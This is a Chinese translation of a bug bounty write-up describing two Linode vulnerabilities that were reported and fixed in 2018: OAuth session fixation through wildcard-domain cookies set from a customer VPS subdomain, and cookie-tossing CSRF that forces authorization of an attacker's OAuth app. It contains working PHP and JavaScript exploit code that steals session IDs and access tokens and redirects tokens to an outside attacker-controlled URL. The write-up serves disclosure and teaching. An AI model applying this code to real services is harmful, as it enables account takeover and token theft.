在2018年年中,Linode的Hackerone漏洞悬赏项目吸引了我,因为这个项目很活跃,管理得非常好,但很多漏洞细节并没有公开。我希望能找到漏洞,并对外公开某个漏洞细节。
Linode是一个VPS提供商,而用户购买的VPS将解析为id.members.linode.com,而这也给了我灵感,因为这基本上意味着我们能完全控制linode.com的子域,执行任何服务端脚本语言。
了解Linode的身份认证
Linode主要对外提供了4个Web应用:
https://manager.linode.com 经典Linode网站
https://linode.com/community 社区门户
https://login.linode.com OAuth服务器
https://cloud.linode.com 新型Linode网站
当我们完全控制子域时,可以读取任何和.linode.com(cookie被设置为通配符域)有关的cookie,我开始研究[https://manager.linode.com](https://manager.linode.com)中的session/CSRF的cookie,但所有cookie都正确地设置为only manager.linode.com,然后我转移到另一个应用[https://linode.com/community](https://linode.com/community),它主要和OAuth相关。
先让我们理解一下认证过程是怎样的。
当点击Login按钮时,会向[https://www.linode.com/community/questions/login?next=/community/](https://www.linode.com/community/questions/login?next=/community/)发送一个GET请求。
HTTP/1.1 302 FoundServer: nginxDate: Sat, 29 Sep 2018 23:36:51 GMTContent-Type: text/html; charset=utf-8Content-Length: 0Connection: closeVary: CookieLocation: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=codeSet-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure.....这个回复中包含以下操作:
- 设置cookie
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd,它和state=bce45f7c-6a37-46c7-9ede-c9979c152081令牌相关联,针对的域名为.linode.com
- 重定向到OAuth页面
[https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code](https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code)
- 如果已在
[https://login.linode.com/](https://login.linode.com/)登录,用户会转到[https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc](https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc)
state参数令牌会和之前设置的sessionid进行交叉检查,如果验证成功,响应如下:
HTTP/1.1 302 FoundServer: nginxDate: Sat, 29 Sep 2018 23:04:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 0Connection: closeVary: CookieLocation: /community/Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure....- 接着sessionid会重置,这是社区门户的真实session,此时用户已登录到社区门户。
Exploiting… OAuth + Cookies = ❤
首先我希望从社区门户获取通配符范围的访问令牌。若我们希望绕过CSRF机制登录到社区门户,则需要这个令牌。登录机制会查找sessionid并根据给定的状态令牌交叉验证它。
因为我们还可以设置和.linode.com相关的cookie,所以可以绕过。
相关代码如下:
?phpecho "iframe src='https://li859-243.members.linode.com/setcookie.php'/iframe";?scriptsetTimeout(function(){ document.write("iframe src='https://li859-243.members.linode.com/stc.php'/iframe"); }, 6000);/script上述代码仅仅是打开setcookie.php的iframe,然后在6秒后打开stc.php的iframe。
让我们来了解一下什么是setcookie.php。
?phperror_reporting(0);$curl = curl_init();curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER = 1, CURLOPT_HEADER = 1, CURLOPT_URL = 'https://www.linode.com/community/questions/login?next=/community/'));$resp = curl_exec($curl);$headers = [];$data = explode("",$resp);$headers['status'] = $data[0];array_shift($data);foreach($data as $part){ $middle=explode(": ",$part); $headers[trim($middle[0])] = trim($middle[1]);}$pattern = '/events%3Amodify/';$replacement = '*';$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );$xf=explode("; ",$headers['Set-Cookie']);foreach($xf as $part){ $middle=explode("=",$part); $cookie[trim($middle[0])] = trim($middle[1]);}$epoch = shell_exec("date --date "{$cookie['expires']}" '+%s'");setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");curl_close($curl);header("Location: $p");?从服务器端请求登录端点以获得有效的cookie
从响应中提取所有标头
修改
Location,将scopes设置为*提取
Set-Cookie,它由sessionid组成,而sessionid和Location中的状态令牌相关联。将提取的session设置为用户的session,重定向到修改后
Location中的值。
由于sessionid和状态令牌都验证成功,用户将使用*范围的访问令牌登录到社区门户。
此时,一切都准备好了,Linode将针对.linode.com设置合法的session(使用sessionid)。我们可以获取合法的session并使用它登录,而且我们可以直接从页面源码中提取访问令牌。让我们使用stc.php(窃取cookie并提取令牌)来实现自动化。
?php$x = $_COOKIE['sessionid'];echo "Session ID : b".$x."/bbr";$t = shell_exec("curl https://www.linode.com/community/ -H "Cookie: sessionid=".$x.""");$p = '/notificationsToken.*"/';preg_match($p,$t,$token);echo "Access token with `*` Scope : b".substr($token[0], 21)."/b";echo "";?我们只需要从用户会话中获取sessionid,然后从服务器端发出curl请求,使用一些正则表达式来获取访问令牌,就可以对任何资源进行读写调用。
PoC视频如下:
https://youtu.be/rA9YaErTIIw时间流:
2018年9月30日:初步发现和报告
2018年10月1日:已确认
2018年10月3日:奖励为2000美元
2018年10月4日:已解决
其他利用
再让我们关注一下CSRF机制。
除了[https://login.linode.com](https://login.linode.com),其他网站的CSRF看似很安全。
JWT在session中被设置,这cookie由一个CSRF令牌组成。cookie的作用域并不是任何域,所以我们无法读取它。
用户登录后,用户session会绑定到newsession cookie,但是CSRF令牌保持不变
我们可以从所控制的VPS中设置这个cookie,但是,我想这和浏览器和服务器中的哪个cookie会被首选有关。
在示例中,我设置的cookie首先被服务器读取,因此用户的session被丢弃,要求用户再次登录。但是,即使Linode设置的cookie不位于Path=/,我们也可以添加Path=/login以优先获取我们的cookie,现在任何位于/login/*下的路径都获得必要端点上的首选cookie。以下是HITCON 2019中filedescriptor演讲的一些幻灯片,其中详细解释了这种攻击。
所有的授权都是在login.linode.com(OAuth相关)上完成的,因此我想强制用户以通配符来授权我们的客户端应用。
以下是相关的PHP代码。
?php// Make request to https://login.linode.com/login$curl = curl_init();curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER = 1, CURLOPT_HEADER = 1, CURLOPT_URL = 'https://login.linode.com/login', CURLOPT_HEADER = 1, CURLOPT_RETURNTRANSFER = 1));$resp = curl_exec($curl);//Extract Set-Cookie header value$headers = [];$data = explode("",$resp);$f = explode("; ", $data[10]);$session = substr($f[0], 20);$exp = substr($f[1], 8);//Set-Cookie $epoch = shell_exec("date --date "{$exp}" '+%s'");setcookie("session", $session, $epoch, "/", ".linode.com",true);curl_close($curl);//Decode cookies for CSRF-Token and pass it to exp1.php$b64 = explode(".",$session);$b64[0] .= "=";$b = base64_decode($b64[0]);$xb = explode(",",$b);$x = substr($xb[2],0,-2);$csrf = substr($x,14);header("Location: exp1.php?csrf={$csrf}");pa href="#" id="target" name="x"Exploit/a/pscript(function() { document.getElementById("target").on click = function() { x = window.open("https://login.linode.com/login"); setTimeout(function() { x.close(); document.forms["exploit"].submit(); }, 13000);return false;};})();/scriptform method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit" input type="hidden" name="csrf_token" value="?php echo $_GET['csrf']; ?" input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b" input type="hidden" name="scope" value="*" input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html" input type="hidden" name="response_type" value="token"/form从服务器端发出一个请求并获得一个会话JWT
解码并提取CSRF令牌
用获得的JWT设置会话cookie
使用之前的CSRF令牌发出POST请求来对攻击者的OAuth应用进行授权。
PoC视频如下:
https://youtu.be/O13xCKbe2IE时间线:
2018年10月13日:发现并报告
2018年10月15日:确认
2018年10月18日:获得750美元奖励,创造性的攻击获得1000美元奖励。
2018年11月14日:漏洞被解决
引用
https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers
https://github.blog/2013-04-09-yummy-cookies-across-domains/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3476.html来源:https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74













